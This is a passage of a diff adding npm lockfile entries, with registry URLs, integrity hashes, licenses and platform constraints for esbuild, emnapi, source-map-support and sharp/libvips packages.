"resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz",
568
+
"integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==",
569
+
"dev": true,
570
+
"license": "MIT",
571
+
"dependencies": {
572
+
"@jridgewell/trace-mapping": "0.3.9"
573
+
},
574
+
"engines": {
575
+
"node": ">=12"
576
+
}
577
+
},
578
+
"node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping": {
579
+
"version": "0.3.9",
580
+
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz",
581
+
"integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==",
582
+
"dev": true,
583
+
"license": "MIT",
584
+
"dependencies": {
585
+
"@jridgewell/resolve-uri": "^3.0.3",
586
+
"@jridgewell/sourcemap-codec": "^1.4.10"
587
+
}
588
+
},
589
+
"node_modules/@emnapi/core": {
590
+
"version": "1.7.1",
591
+
"resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.7.1.tgz",
592
+
"integrity": "sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg==",
593
+
"dev": true,
594
+
"license": "MIT",
595
+
"optional": true,
596
+
"dependencies": {
597
+
"@emnapi/wasi-threads": "1.1.0",
598
+
"tslib": "^2.4.0"
599
+
}
600
+
},
601
+
"node_modules/@emnapi/runtime": {
602
+
"version": "1.7.1",
603
+
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.7.1.tgz",
604
+
"integrity": "sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==",
605
+
"dev": true,
606
+
"license": "MIT",
607
+
"optional": true,
608
+
"dependencies": {
609
+
"tslib": "^2.4.0"
610
+
}
611
+
},
612
+
"node_modules/@emnapi/wasi-threads": {
613
+
"version": "1.1.0",
614
+
"resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.1.0.tgz",
615
+
"integrity": "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==",
616
+
"dev": true,
617
+
"license": "MIT",
618
+
"optional": true,
619
+
"dependencies": {
620
+
"tslib": "^2.4.0"
621
+
}
622
+
},
623
+
"node_modules/@esbuild/aix-ppc64": {
624
+
"version": "0.27.0",
625
+
"resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.0.tgz",
626
+
"integrity": "sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==",
627
+
"cpu": [
628
+
"ppc64"
629
+
],
630
+
"dev": true,
631
+
"license": "MIT",
632
+
"optional": true,
633
+
"os": [
634
+
"aix"
635
+
],
636
+
"engines": {
637
+
"node": ">=18"
638
+
}
639
+
},
640
+
"node_modules/@esbuild/android-arm": {
641
+
"version": "0.27.0",
642
+
"resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.0.tgz",
643
+
"integrity": "sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==",
644
+
"cpu": [
645
+
"arm"
646
+
],
647
+
"dev": true,
648
+
"license": "MIT",
649
+
"optional": true,
650
+
"os": [
651
+
"android"
652
+
],
653
+
"engines": {
654
+
"node": ">=18"
655
+
}
656
+
},
657
+
"node_modules/@esbuild/android-arm64": {
658
+
"version": "0.27.0",
659
+
"resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.0.tgz",
660
+
"integrity": "sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==",
661
+
"cpu": [
662
+
"arm64"
663
+
],
664
+
"dev": true,
665
+
"license": "MIT",
666
+
"optional": true,
667
+
"os": [
668
+
"android"
669
+
],
670
+
"engines": {
671
+
"node": ">=18"
672
+
}
673
+
},
674
+
"node_modules/@esbuild/android-x64": {
675
+
"version": "0.27.0",
676
+
"resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.0.tgz",
677
+
"integrity": "sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==",
678
+
"cpu": [
679
+
"x64"
680
+
],
681
+
"dev": true,
682
+
"license": "MIT",
683
+
"optional": true,
684
+
"os": [
685
+
"android"
686
+
],
687
+
"engines": {
688
+
"node": ">=18"
689
+
}
690
+
},
691
+
"node_modules/@esbuild/darwin-arm64": {
692
+
"version": "0.27.0",
693
+
"resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.0.tgz",
694
+
"integrity": "sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==",
695
+
"cpu": [
696
+
"arm64"
697
+
],
698
+
"dev": true,
699
+
"license": "MIT",
700
+
"optional": true,
701
+
"os": [
702
+
"darwin"
703
+
],
704
+
"engines": {
705
+
"node": ">=18"
706
+
}
707
+
},
708
+
"node_modules/@esbuild/darwin-x64": {
709
+
"version": "0.27.0",
710
+
"resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.0.tgz",
711
+
"integrity": "sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==",
712
+
"cpu": [
713
+
"x64"
714
+
],
715
+
"dev": true,
716
+
"license": "MIT",
717
+
"optional": true,
718
+
"os": [
719
+
"darwin"
720
+
],
721
+
"engines": {
722
+
"node": ">=18"
723
+
}
724
+
},
725
+
"node_modules/@esbuild/freebsd-arm64": {
726
+
"version": "0.27.0",
727
+
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.0.tgz",
728
+
"integrity": "sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==",
729
+
"cpu": [
730
+
"arm64"
731
+
],
732
+
"dev": true,
733
+
"license": "MIT",
734
+
"optional": true,
735
+
"os": [
736
+
"freebsd"
737
+
],
738
+
"engines": {
739
+
"node": ">=18"
740
+
}
741
+
},
742
+
"node_modules/@esbuild/freebsd-x64": {
743
+
"version": "0.27.0",
744
+
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.0.tgz",
745
+
"integrity": "sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==",
746
+
"cpu": [
747
+
"x64"
748
+
],
749
+
"dev": true,
750
+
"license": "MIT",
751
+
"optional": true,
752
+
"os": [
753
+
"freebsd"
754
+
],
755
+
"engines": {
756
+
"node": ">=18"
757
+
}
758
+
},
759
+
"node_modules/@esbuild/linux-arm": {
760
+
"version": "0.27.0",
761
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.0.tgz",
762
+
"integrity": "sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==",
763
+
"cpu": [
764
+
"arm"
765
+
],
766
+
"dev": true,
767
+
"license": "MIT",
768
+
"optional": true,
769
+
"os": [
770
+
"linux"
771
+
],
772
+
"engines": {
773
+
"node": ">=18"
774
+
}
775
+
},
776
+
"node_modules/@esbuild/linux-arm64": {
777
+
"version": "0.27.0",
778
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.0.tgz",
779
+
"integrity": "sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==",
780
+
"cpu": [
781
+
"arm64"
782
+
],
783
+
"dev": true,
784
+
"license": "MIT",
785
+
"optional": true,
786
+
"os": [
787
+
"linux"
788
+
],
789
+
"engines": {
790
+
"node": ">=18"
791
+
}
792
+
},
793
+
"node_modules/@esbuild/linux-ia32": {
794
+
"version": "0.27.0",
795
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.0.tgz",
796
+
"integrity": "sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==",
797
+
"cpu": [
798
+
"ia32"
799
+
],
800
+
"dev": true,
801
+
"license": "MIT",
802
+
"optional": true,
803
+
"os": [
804
+
"linux"
805
+
],
806
+
"engines": {
807
+
"node": ">=18"
808
+
}
809
+
},
810
+
"node_modules/@esbuild/linux-loong64": {
811
+
"version": "0.27.0",
812
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.0.tgz",
813
+
"integrity": "sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==",
814
+
"cpu": [
815
+
"loong64"
816
+
],
817
+
"dev": true,
818
+
"license": "MIT",
819
+
"optional": true,
820
+
"os": [
821
+
"linux"
822
+
],
823
+
"engines": {
824
+
"node": ">=18"
825
+
}
826
+
},
827
+
"node_modules/@esbuild/linux-mips64el": {
828
+
"version": "0.27.0",
829
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.0.tgz",
830
+
"integrity": "sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==",
831
+
"cpu": [
832
+
"mips64el"
833
+
],
834
+
"dev": true,
835
+
"license": "MIT",
836
+
"optional": true,
837
+
"os": [
838
+
"linux"
839
+
],
840
+
"engines": {
841
+
"node": ">=18"
842
+
}
843
+
},
844
+
"node_modules/@esbuild/linux-ppc64": {
845
+
"version": "0.27.0",
846
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.0.tgz",
847
+
"integrity": "sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==",
848
+
"cpu": [
849
+
"ppc64"
850
+
],
851
+
"dev": true,
852
+
"license": "MIT",
853
+
"optional": true,
854
+
"os": [
855
+
"linux"
856
+
],
857
+
"engines": {
858
+
"node": ">=18"
859
+
}
860
+
},
861
+
"node_modules/@esbuild/linux-riscv64": {
862
+
"version": "0.27.0",
863
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.0.tgz",
864
+
"integrity": "sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==",
865
+
"cpu": [
866
+
"riscv64"
867
+
],
868
+
"dev": true,
869
+
"license": "MIT",
870
+
"optional": true,
871
+
"os": [
872
+
"linux"
873
+
],
874
+
"engines": {
875
+
"node": ">=18"
876
+
}
877
+
},
878
+
"node_modules/@esbuild/linux-s390x": {
879
+
"version": "0.27.0",
880
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.0.tgz",
881
+
"integrity": "sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==",
882
+
"cpu": [
883
+
"s390x"
884
+
],
885
+
"dev": true,
886
+
"license": "MIT",
887
+
"optional": true,
888
+
"os": [
889
+
"linux"
890
+
],
891
+
"engines": {
892
+
"node": ">=18"
893
+
}
894
+
},
895
+
"node_modules/@esbuild/linux-x64": {
896
+
"version": "0.27.0",
897
+
"resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.0.tgz",
898
+
"integrity": "sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==",
899
+
"cpu": [
900
+
"x64"
901
+
],
902
+
"dev": true,
903
+
"license": "MIT",
904
+
"optional": true,
905
+
"os": [
906
+
"linux"
907
+
],
908
+
"engines": {
909
+
"node": ">=18"
910
+
}
911
+
},
912
+
"node_modules/@esbuild/netbsd-arm64": {
913
+
"version": "0.27.0",
914
+
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.0.tgz",
915
+
"integrity": "sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==",
916
+
"cpu": [
917
+
"arm64"
918
+
],
919
+
"dev": true,
920
+
"license": "MIT",
921
+
"optional": true,
922
+
"os": [
923
+
"netbsd"
924
+
],
925
+
"engines": {
926
+
"node": ">=18"
927
+
}
928
+
},
929
+
"node_modules/@esbuild/netbsd-x64": {
930
+
"version": "0.27.0",
931
+
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.0.tgz",
932
+
"integrity": "sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==",
933
+
"cpu": [
934
+
"x64"
935
+
],
936
+
"dev": true,
937
+
"license": "MIT",
938
+
"optional": true,
939
+
"os": [
940
+
"netbsd"
941
+
],
942
+
"engines": {
943
+
"node": ">=18"
944
+
}
945
+
},
946
+
"node_modules/@esbuild/openbsd-arm64": {
947
+
"version": "0.27.0",
948
+
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.0.tgz",
949
+
"integrity": "sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==",
950
+
"cpu": [
951
+
"arm64"
952
+
],
953
+
"dev": true,
954
+
"license": "MIT",
955
+
"optional": true,
956
+
"os": [
957
+
"openbsd"
958
+
],
959
+
"engines": {
960
+
"node": ">=18"
961
+
}
962
+
},
963
+
"node_modules/@esbuild/openbsd-x64": {
964
+
"version": "0.27.0",
965
+
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.0.tgz",
966
+
"integrity": "sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==",
967
+
"cpu": [
968
+
"x64"
969
+
],
970
+
"dev": true,
971
+
"license": "MIT",
972
+
"optional": true,
973
+
"os": [
974
+
"openbsd"
975
+
],
976
+
"engines": {
977
+
"node": ">=18"
978
+
}
979
+
},
980
+
"node_modules/@esbuild/openharmony-arm64": {
981
+
"version": "0.27.0",
982
+
"resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.0.tgz",
983
+
"integrity": "sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==",
984
+
"cpu": [
985
+
"arm64"
986
+
],
987
+
"dev": true,
988
+
"license": "MIT",
989
+
"optional": true,
990
+
"os": [
991
+
"openharmony"
992
+
],
993
+
"engines": {
994
+
"node": ">=18"
995
+
}
996
+
},
997
+
"node_modules/@esbuild/sunos-x64": {
998
+
"version": "0.27.0",
999
+
"resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.0.tgz",
1000
+
"integrity": "sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==",
1001
+
"cpu": [
1002
+
"x64"
1003
+
],
1004
+
"dev": true,
1005
+
"license": "MIT",
1006
+
"optional": true,
1007
+
"os": [
1008
+
"sunos"
1009
+
],
1010
+
"engines": {
1011
+
"node": ">=18"
1012
+
}
1013
+
},
1014
+
"node_modules/@esbuild/win32-arm64": {
1015
+
"version": "0.27.0",
1016
+
"resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.0.tgz",
1017
+
"integrity": "sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==",
1018
+
"cpu": [
1019
+
"arm64"
1020
+
],
1021
+
"dev": true,
1022
+
"license": "MIT",
1023
+
"optional": true,
1024
+
"os": [
1025
+
"win32"
1026
+
],
1027
+
"engines": {
1028
+
"node": ">=18"
1029
+
}
1030
+
},
1031
+
"node_modules/@esbuild/win32-ia32": {
1032
+
"version": "0.27.0",
1033
+
"resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.0.tgz",
1034
+
"integrity": "sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==",
1035
+
"cpu": [
1036
+
"ia32"
1037
+
],
1038
+
"dev": true,
1039
+
"license": "MIT",
1040
+
"optional": true,
1041
+
"os": [
1042
+
"win32"
1043
+
],
1044
+
"engines": {
1045
+
"node": ">=18"
1046
+
}
1047
+
},
1048
+
"node_modules/@esbuild/win32-x64": {
1049
+
"version": "0.27.0",
1050
+
"resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.0.tgz",
1051
+
"integrity": "sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==",
1052
+
"cpu": [
1053
+
"x64"
1054
+
],
1055
+
"dev": true,
1056
+
"license": "MIT",
1057
+
"optional": true,
1058
+
"os": [
1059
+
"win32"
1060
+
],
1061
+
"engines": {
1062
+
"node": ">=18"
1063
+
}
1064
+
},
1065
+
"node_modules/@img/sharp-darwin-arm64": {
1066
+
"version": "0.33.5",
1067
+
"resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.33.5.tgz",
1068
+
"integrity": "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ==",
1069
+
"cpu": [
1070
+
"arm64"
1071
+
],
1072
+
"dev": true,
1073
+
"license": "Apache-2.0",
1074
+
"optional": true,
1075
+
"os": [
1076
+
"darwin"
1077
+
],
1078
+
"engines": {
1079
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1080
+
},
1081
+
"funding": {
1082
+
"url": "https://opencollective.com/libvips"
1083
+
},
1084
+
"optionalDependencies": {
1085
+
"@img/sharp-libvips-darwin-arm64": "1.0.4"
1086
+
}
1087
+
},
1088
+
"node_modules/@img/sharp-darwin-x64": {
1089
+
"version": "0.33.5",
1090
+
"resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.5.tgz",
1091
+
"integrity": "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==",
1092
+
"cpu": [
1093
+
"x64"
1094
+
],
1095
+
"dev": true,
1096
+
"license": "Apache-2.0",
1097
+
"optional": true,
1098
+
"os": [
1099
+
"darwin"
1100
+
],
1101
+
"engines": {
1102
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1103
+
},
1104
+
"funding": {
1105
+
"url": "https://opencollective.com/libvips"
1106
+
},
1107
+
"optionalDependencies": {
1108
+
"@img/sharp-libvips-darwin-x64": "1.0.4"
1109
+
}
1110
+
},
1111
+
"node_modules/@img/sharp-libvips-darwin-arm64": {
1112
+
"version": "1.0.4",
1113
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.4.tgz",
1114
+
"integrity": "sha512-XblONe153h0O2zuFfTAbQYAX2JhYmDHeWikp1LM9Hul9gVPjFY427k6dFEcOL72O01QxQsWi761svJ/ev9xEDg==",
1115
+
"cpu": [
1116
+
"arm64"
1117
+
],
1118
+
"dev": true,
1119
+
"license": "LGPL-3.0-or-later",
1120
+
"optional": true,
1121
+
"os": [
1122
+
"darwin"
1123
+
],
1124
+
"funding": {
1125
+
"url": "https://opencollective.com/libvips"
1126
+
}
1127
+
},
1128
+
"node_modules/@img/sharp-libvips-darwin-x64": {
1129
+
"version": "1.0.4",
1130
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.4.tgz",
1131
+
"integrity": "sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==",
1132
+
"cpu": [
1133
+
"x64"
1134
+
],
1135
+
"dev": true,
1136
+
"license": "LGPL-3.0-or-later",
1137
+
"optional": true,
1138
+
"os": [
1139
+
"darwin"
1140
+
],
1141
+
"funding": {
1142
+
"url": "https://opencollective.com/libvips"
1143
+
}
1144
+
},
1145
+
"node_modules/@img/sharp-libvips-linux-arm": {
1146
+
"version": "1.0.5",
1147
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.5.tgz",
1148
+
"integrity": "sha512-gvcC4ACAOPRNATg/ov8/MnbxFDJqf/pDePbBnuBDcjsI8PssmjoKMAz4LtLaVi+OnSb5FK/yIOamqDwGmXW32g==",
1149
+
"cpu": [
1150
+
"arm"
1151
+
],
1152
+
"dev": true,
1153
+
"license": "LGPL-3.0-or-later",
1154
+
"optional": true,
1155
+
"os": [
1156
+
"linux"
1157
+
],
1158
+
"funding": {
1159
+
"url": "https://opencollective.com/libvips"
1160
+
}
1161
+
},
1162
+
"node_modules/@img/sharp-libvips-linux-arm64": {
1163
+
"version": "1.0.4",
1164
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.4.tgz",
1165
+
"integrity": "sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==",
1166
+
"cpu": [
1167
+
"arm64"
1168
+
],
1169
+
"dev": true,
1170
+
"license": "LGPL-3.0-or-later",
1171
+
"optional": true,
1172
+
"os": [
1173
+
"linux"
1174
+
],
1175
+
"funding": {
1176
+
"url": "https://opencollective.com/libvips"
1177
+
}
1178
+
},
1179
+
"node_modules/@img/sharp-libvips-linux-s390x": {
1180
+
"version": "1.0.4",
1181
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.0.4.tgz",
1182
+
"integrity": "sha512-u7Wz6ntiSSgGSGcjZ55im6uvTrOxSIS8/dgoVMoiGE9I6JAfU50yH5BoDlYA1tcuGS7g/QNtetJnxA6QEsCVTA==",
1183
+
"cpu": [
1184
+
"s390x"
1185
+
],
1186
+
"dev": true,
1187
+
"license": "LGPL-3.0-or-later",
1188
+
"optional": true,
1189
+
"os": [
1190
+
"linux"
1191
+
],
1192
+
"funding": {
1193
+
"url": "https://opencollective.com/libvips"
1194
+
}
1195
+
},
1196
+
"node_modules/@img/sharp-libvips-linux-x64": {
1197
+
"version": "1.0.4",
1198
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz",
1199
+
"integrity": "sha512-MmWmQ3iPFZr0Iev+BAgVMb3ZyC4KeFc3jFxnNbEPas60e1cIfevbtuyf9nDGIzOaW9PdnDciJm+wFFaTlj5xYw==",
1200
+
"cpu": [
1201
+
"x64"
1202
+
],
1203
+
"dev": true,
1204
+
"license": "LGPL-3.0-or-later",
1205
+
"optional": true,
1206
+
"os": [
1207
+
"linux"
1208
+
],
1209
+
"funding": {
1210
+
"url": "https://opencollective.com/libvips"
1211
+
}
1212
+
},
1213
+
"node_modules/@img/sharp-libvips-linuxmusl-arm64": {
1214
+
"version": "1.0.4",
1215
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.0.4.tgz",
1216
+
"integrity": "sha512-9Ti+BbTYDcsbp4wfYib8Ctm1ilkugkA/uscUn6UXK1ldpC1JjiXbLfFZtRlBhjPZ5o1NCLiDbg8fhUPKStHoTA==",
1217
+
"cpu": [
1218
+
"arm64"
1219
+
],
1220
+
"dev": true,
1221
+
"license": "LGPL-3.0-or-later",
1222
+
"optional": true,
1223
+
"os": [
1224
+
"linux"
1225
+
],
1226
+
"funding": {
1227
+
"url": "https://opencollective.com/libvips"
1228
+
}
1229
+
},
1230
+
"node_modules/@img/sharp-libvips-linuxmusl-x64": {
1231
+
"version": "1.0.4",
1232
+
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.0.4.tgz",
1233
+
"integrity": "sha512-viYN1KX9m+/hGkJtvYYp+CCLgnJXwiQB39damAO7WMdKWlIhmYTfHjwSbQeUK/20vY154mwezd9HflVFM1wVSw==",
1234
+
"cpu": [
1235
+
"x64"
1236
+
],
1237
+
"dev": true,
1238
+
"license": "LGPL-3.0-or-later",
1239
+
"optional": true,
1240
+
"os": [
1241
+
"linux"
1242
+
],
1243
+
"funding": {
1244
+
"url": "https://opencollective.com/libvips"
1245
+
}
1246
+
},
1247
+
"node_modules/@img/sharp-linux-arm": {
1248
+
"version": "0.33.5",
1249
+
"resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.33.5.tgz",
1250
+
"integrity": "sha512-JTS1eldqZbJxjvKaAkxhZmBqPRGmxgu+qFKSInv8moZ2AmT5Yib3EQ1c6gp493HvrvV8QgdOXdyaIBrhvFhBMQ==",
1251
+
"cpu": [
1252
+
"arm"
1253
+
],
1254
+
"dev": true,
1255
+
"license": "Apache-2.0",
1256
+
"optional": true,
1257
+
"os": [
1258
+
"linux"
1259
+
],
1260
+
"engines": {
1261
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1262
+
},
1263
+
"funding": {
1264
+
"url": "https://opencollective.com/libvips"
1265
+
},
1266
+
"optionalDependencies": {
1267
+
"@img/sharp-libvips-linux-arm": "1.0.5"
1268
+
}
1269
+
},
1270
+
"node_modules/@img/sharp-linux-arm64": {
1271
+
"version": "0.33.5",
1272
+
"resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.5.tgz",
1273
+
"integrity": "sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==",
1274
+
"cpu": [
1275
+
"arm64"
1276
+
],
1277
+
"dev": true,
1278
+
"license": "Apache-2.0",
1279
+
"optional": true,
1280
+
"os": [
1281
+
"linux"
1282
+
],
1283
+
"engines": {
1284
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1285
+
},
1286
+
"funding": {
1287
+
"url": "https://opencollective.com/libvips"
1288
+
},
1289
+
"optionalDependencies": {
1290
+
"@img/sharp-libvips-linux-arm64": "1.0.4"
1291
+
}
1292
+
},
1293
+
"node_modules/@img/sharp-linux-s390x": {
1294
+
"version": "0.33.5",
1295
+
"resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.33.5.tgz",
1296
+
"integrity": "sha512-y/5PCd+mP4CA/sPDKl2961b+C9d+vPAveS33s6Z3zfASk2j5upL6fXVPZi7ztePZ5CuH+1kW8JtvxgbuXHRa4Q==",
1297
+
"cpu": [
1298
+
"s390x"
1299
+
],
1300
+
"dev": true,
1301
+
"license": "Apache-2.0",
1302
+
"optional": true,
1303
+
"os": [
1304
+
"linux"
1305
+
],
1306
+
"engines": {
1307
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
1308
+
},
1309
+
"funding": {
1310
+
"url": "https://opencollective.com/libvips"
1311
+
},
1312
+
"optionalDependencies": {
1313
+
"@img/sharp-libvips-linux-s390x": "1.0.4"
1314
+
}
1315
+
},
1316
+
"node_modules/@img/sharp-linux-x64": {
1317
+
"version": "0.33.5",
1318
+
